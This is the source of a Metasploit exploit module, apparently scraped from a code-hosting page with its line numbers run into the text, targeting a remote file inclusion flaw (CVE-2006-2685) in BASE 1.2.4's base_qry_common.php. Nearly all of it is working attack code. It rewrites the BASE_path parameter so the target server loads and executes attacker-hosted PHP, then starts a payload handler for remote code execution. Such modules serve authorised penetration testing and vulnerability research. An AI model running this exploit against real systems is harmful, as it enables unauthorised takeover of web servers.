Path: blob/master/modules/exploits/unix/webapp/base_qry_common.rb
19512 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Remote::HttpServer::PHPInclude1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'BASE base_qry_common Remote File Include',17'Description' => %q{18This module exploits a remote file inclusion vulnerability in19the base_qry_common.php file in BASE 1.2.4 and earlier.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2006-2685' ],25[ 'OSVDB', '49366'],26[ 'BID', '18298' ],27],28'Privileged' => false,29'Payload' => {30'DisableNops' => true,31'Compat' =>32{33'ConnectionType' => 'find',34},35'Space' => 32768,36},37'Platform' => 'php',38'Arch' => ARCH_PHP,39'Targets' => [[ 'Automatic', {}]],40'DisclosureDate' => '2008-06-14',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/base/base_qry_common.php?BASE_path=!URL!"]),53]54)55end5657def php_exploit58timeout = 0.0159uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))60print_status("Trying uri #{uri}")6162response = send_request_raw({63'global' => true,64'uri' => uri,65}, timeout)6667if response and response.code != 20068print_error("Server returned non-200 status code (#{response.code})")69end7071handler72end73end747576